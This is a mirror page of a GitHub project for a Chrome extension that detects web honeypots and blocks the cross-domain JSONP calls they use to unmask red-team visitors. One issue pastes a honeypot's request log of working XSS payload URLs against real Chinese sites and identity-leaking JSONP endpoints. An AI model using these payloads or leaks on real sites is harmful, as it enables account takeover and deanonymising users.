Light

cnrstar / anti-honeypot Goto Github PK

View Code? Open in Web Editor NEW

714.0 15.0 69.0 34 KB

一款可以检测WEB蜜罐并阻断请求的Chrome插件

JavaScript 95.22% HTML 4.78%

anti-honeypot's Introduction

背景

在真实攻防演习中，蓝队不再像以前只是被动防守，而是慢慢开始转变到主动出击的角色。对蓝队反制红队帮助最大的想来非蜜罐莫属，现在的商业蜜罐除了会模拟一个虚拟的靶机之外，还承担了一个很重要的任务：溯源黑客真实身份。相当一部分黑客因为浏览器没开隐身模式导致被利用jsonhijack漏洞抓到真实ID，虽然可以反手一个举报到src换积分，但是在漏洞修复之前，又是一批战友被溯源。相信很对已经被溯源的红方选手对此更有体会。
在这种背景下，各位红方老司机应当很需要一个能自动识别这种WEB蜜罐，因此我们写了个简单的chrome插件，用来帮助我们摆脱被溯源到真实ID的困境。插件有两个功能，一是识别当前访问的网站是否是蜜罐，是的话就弹框预警；二是对访问的jsonp接口进行重置，防止对方获取到真实ID。所采用的原理非常简单粗暴，就是判断当前网站域和jsonp接口的域是否是同一个，是的话就预警并阻断。比如我访问一个http://1.2.3.4/的网站，结果这个网站里的js去请求了一个baidu.com的api，那妥妥的有问题了。但是粗暴判断也会带来误报，比如我正常访问baidu.com，但是其引用了个apibaidu.com的jsonp，就一样也会报警和拦截，这种情况下就暂时用白名单来解决了。

使用

打开chrome的插件管理 chrome://extensions/。
打开开发者模式，并点击”加载已解压的扩展程序”，选择对应的目录导入即可

TODO

加入jsonp漏洞的自动挖掘
借鉴另外一个项目的通过特定js脚本名称和内容识别已知厂商的蜜罐

anti-honeypot's People

Contributors

Stargazers

Watchers

anti-honeypot's Issues

蜜罐api已经更新了，这里有一些蜜罐jsonp地址，可以参考

106.38.112.125 -- script https://api.m.jd.com/api?appid=pc_home_page&functionId=getBaseUserInfo&loginType=3&jsonp=jsonp2 3p
11:00:07 106.38.112.125 -- script https://home.51cto.com/index.php?s=/Index/getLoginStatus2015/reback/http%253A%252F%252Fwww.51cto.com%252F 3p
11:00:07 106.38.112.125 -- script https://api.m.jd.com/client.action?functionId=getBabelProductPaged&body=%7b%22%73%65%63%6f%6e%64%54%61%62%49%64%22%3a%22%30%30%31%35%35%35%35%34%37%30%38%39%33%5f%30%33%37%32%36%36%30%30%5f%22%2c%22%74%79%70%65%22%3a%22%30%22%2c%22%70%61%67%65%4e%75%6d%22%3a%22%31%22%2c%22%6d%69%74%65%6d%41%64%64%72%49%64%22%3a%22%22%2c%22%67%65%6f%22%3a%7b%22%6c%6e%67%22%3a%22%22%2c%22%6c%61%74%22%3a%22%22%7d%2c%22%61%64%64%72%65%73%73%49%64%22%3a%22%22%2c%22%70%6f%73%4c%6e%67%22%3a%22%22%2c%22%70%6f%73%4c%61%74%22%3a%22%22%2c%22%66%6f%63%75%73%22%3a%22%22%2c%22%69%6e%6e%65%72%41%6e%63%68%6f%72%22%3a%22%22%7d&screen=2799*1208&client=wh5&clientVersion=1.0.0&sid=&uuid=&area=&_=1585823068850&callback=jsonp1 3p
11:00:07 106.38.112.125 -- frame https://hd.huya.com/web/anchor_recruit/index.html?id=42566%26callback=eval(name)%23&anchorsrc=0 3p
11:00:07 106.38.112.125 -- frame https://m.iask.sina.com.cn/cas/logins?domain=iask.sina.com.cn&businessSys=iask&channel=null&popup=show&clsId=undefined&fid=%22%3E%3Cscript%3Eeval(name)%3C/script%3E 3p
11:00:07 106.38.112.125 -- frame https://api.csdn.net/oauth/authorize?client_id=1000001&redirect_uri=http://www.iteye.com/auth/csdn/callback&response_type=%22https%3A%2F%2Fapi.csdn.net%2Foauth%2Fauthorize%3Fclient_id%3D1000001%26redirect_uri%3D%22http%3A%2F%2Fwww.iteye.com%2Fauth%2Fcsdn%2Fcallback%26response_type%3D%22%3E%3Cimg%20src%3Dx%20onerror%3Deval(window.name)%3E 3p
11:00:07 106.38.112.125 -- frame https://m.iask.sina.com.cn/cas/logins?domain=iask.sina.com.cn&businessSys=iask&channel=null&popup=show&clsId=undefined&fid=%22%3E%3Cscript%3Eeval(name)%3C/script%3E 3p
11:00:07 106.38.112.125 css https://106.38.112.125/wui/Mt0ipylfPgGb/static.html{inline_style}
11:00:07 106.38.112.125 script https://106.38.112.125/wui/Mt0ipylfPgGb/static.html{inline_script}
11:00:07 106.38.112.125 cookie https://106.38.112.125:8443/{localStorage}
11:00:07 106.38.112.125 -- frame https://zhifu.baidu.com/proxy/req/newcashier?cityId=&customerId=55&defaultResPage=0&deviceType=3&extData=&ext_store_no=&failUrl=&imei=&itemInfo=[{%22id%22:%22IPRQZ1598593080ba981c084142%22,%22number%22:1,%22price%22:10000,%22name%22:%221%22}]&mobile=&notifyUrl=http://quzheng.baidu.com/iprweb/v1/pay_status&orderCreateTime=1598593081&orderExpireTime=&orderId=IPRQZ1598593080ba981c084142&originalAmount=1&passScope=&passuid=&payAmount=1&returnUrl=http://quzheng.baidu.com/iprweb/v1/pay_return&sdk=0&sdkStyle=0&service=Cashier&sourceApp=&spData=&tag=&title=%3C/script%3E%3Cscript%3Eeval(window.name)%3C/script%3E&tn=&tpl=2&url=&signType=md5&sign=659ff744e50cbe1ceb4892af43d9f7f6 3p
11:00:07 106.38.112.125 -- frame https://wz.cnblogs.com/create?t=xxxx&u=%22%3E%3Csvg/onload=eval(name)%3E&c=&i=0 3p
11:00:07 106.38.112.125 -- frame https://hudong.vip.youku.com/act/mili/download.html?mobile=1&download=javascript:new%20Function(name)();//https://down2.uc.cn///https://itunes.apple.com/app

1

可以提供些蜜罐的检测规则吗

报错

最新代码

感觉后面可以加的功能

在右上角图标上给提示，点击后弹出来拦截了啥请求链接，发现有用后直接去提交src好了
加入jsonp漏洞自动挖掘功能，设定关键词（比如自己的ID），然后url里包含callback且返回包里有这个id，就右上角爆出来发现jsonp漏洞。
来个会画界面的小伙伴呀，我不会，写个js都是业余的。

师傅，近期有更新计划吗

Recommend Projects

React

A declarative, efficient, and flexible JavaScript library for building user interfaces.
Vue.js

🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
Typescript

TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
TensorFlow

An Open Source Machine Learning Framework for Everyone
Django

The Web framework for perfectionists with deadlines.
Laravel

A PHP framework for web artisans
D3

Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

javascript

JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
web

Some thing interesting about web. New door for the world.
server

A server is a program made to process requests and deliver data to clients.
Machine learning

Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Visualization

Some thing interesting about visualization, use data art
Game

Some thing interesting about game, make everyone happy.

Recommend Org

Facebook

We are working to build community through open source technology. NB: members must have two-factor auth.
Microsoft

Open source projects and samples from Microsoft.
Google

Google ❤️ Open Source for everyone.
Alibaba

Alibaba Open Source for everyone
D3

Data-Driven Documents codes.
Tencent

China tencent open source team.